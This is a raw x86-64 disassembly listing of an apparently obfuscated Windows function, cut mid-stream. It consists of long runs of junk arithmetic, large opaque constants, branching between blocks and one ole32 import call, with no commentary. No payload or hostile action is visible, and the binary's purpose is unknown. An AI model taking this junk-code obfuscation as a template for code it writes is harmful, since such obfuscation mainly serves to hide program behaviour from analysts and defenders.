mov dword [rsp + 0x3890], eax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov dword [rsp + 0x38ac], 0x17ef
movsx eax, word [rsp + 0xf40]
imul eax, eax, 0x1b50
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
cmp eax, ecx
jg 0x14000596b
movabs rax, 0x1579dd7be2082b3
mov rcx, qword [0x1401de358]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov r8b, 0x67
mov dl, 0xcb
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
cmp dword [rsp + 0x3874], 0xb9ce
ja 0x140005f7c
movabs rax, 0x341e0fb0d5e51d1f
mov rcx, qword [0x1401de358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
shl eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov byte [rsp + 0xdf], al
movsx eax, word [rsp + 0xf40]
sub eax, 0xc98
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [str.sK:], al
movabs rax, 0xcd5e4e7cfab715c9
mov rcx, qword [0x1401de358]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x68c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a0]
mov qword [rsp + 0x68d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movabs rax, 0x4b2bd3d4a9b264bb
mov rcx, qword [0x1401de358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
movabs rax, 0x7b7a8b3e7afa8fc2
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
movsx eax, word [rsp + 0xf40]
sub eax, 0x5041
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
movabs rax, 0x82a78f24f034606a
mov rcx, qword [0x1401de358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
sar eax, 1
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
or eax, 0x37d5
mov word [rsp + 0xf40], ax
movabs rax, 0x2d0939e346edf508
mov rcx, qword [rsp + 0x68b0]
xor rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68b8]
mov qword [rsp + 0x68d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
and eax, 0x7546
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
or eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
sar eax, 0xd
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
shl eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xdf], al
mov eax, dword [rsp + 0x3874]
add eax, 0x96
mov dword [rsp + 0x3874], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
sub eax, 0x79ce
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
sub eax, 0x60fe
mov word [rsp + 0xf40], ax
jmp 0x14000596b
cmp dword [rsp + 0x38ac], 0x4a85
ja 0x14000612c
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movabs rax, 0x96a2bf7b862c24c7
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x38ac]
add eax, 0xb9
mov dword [rsp + 0x38ac], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68b0]
shr rax, 0x18
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
movabs rax, 0x5916320095882116
mov rcx, qword [0x1401de358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
jmp 0x140005f7c
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0x68e0], rax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
add eax, 0x172d
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov byte [str.sK:], al
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x68b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
sub eax, 0x4533
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x68e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3878], eax
movsx eax, word [rsp + 0xf40]
or eax, 0x71db
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x3898]
add eax, 0x94
mov dword [rsp + 0x3898], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
add eax, 0x3afe
mov word [rsp + 0xf40], ax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [0x1401de358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x68f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68b8]
mov qword [rsp + 0x68f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [0x1401de358]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [0x1401de358]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x6900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6900]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
cmp dword [rsp + 0x3898], 0x115b6
jbe 0x14000613c
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov qword [rsp + 0x6908], rax
cmp qword [rsp + 0x6908], 0
je 0x140006649
jmp 0x1400066a4
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x6910], rax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov dword [0x1401dd004], eax
mov dword [rsp + 0x38b0], 0x286f
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x68b0]
mov qword [rsp + 0x6920], rax
jmp 0x140006796
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x6928]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x3894], eax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov qword [rsp + 0x6930], rax
movabs rax, 0x7bb94dd2fd9457c6
cmp qword [rsp + 0x6930], rax
je 0x140006777
movabs rax, 0xd1325d8252403956
cmp qword [rsp + 0x6930], rax
je 0x140006736
jmp 0x140006796
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x6898]
movzx edx, byte [rax]
mov cl, 0xd2
call fcn.1401c33b0
nop
jmp 0x140006796
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov eax, dword [rsp + 0x38a0]
add eax, 0xb2
mov dword [rsp + 0x38a0], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x68e0]
mov qword [rsp + 0x6938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6938]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf40], ax
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
and eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
cmp dword [rsp + 0x38a0], 0xeedb
jbe 0x140006796
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0x6940], rax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x38b4], eax
cmp dword [rsp + 0x38b4], 0
je 0x1400069c6
cmp dword [rsp + 0x38b4], 0x2c1ecf04
je 0x1401c1ef7
jmp 0x1401c1fa5
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd004]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401dd004]
shl eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x6920]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sar eax, cl
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf40], ax
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x6940]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
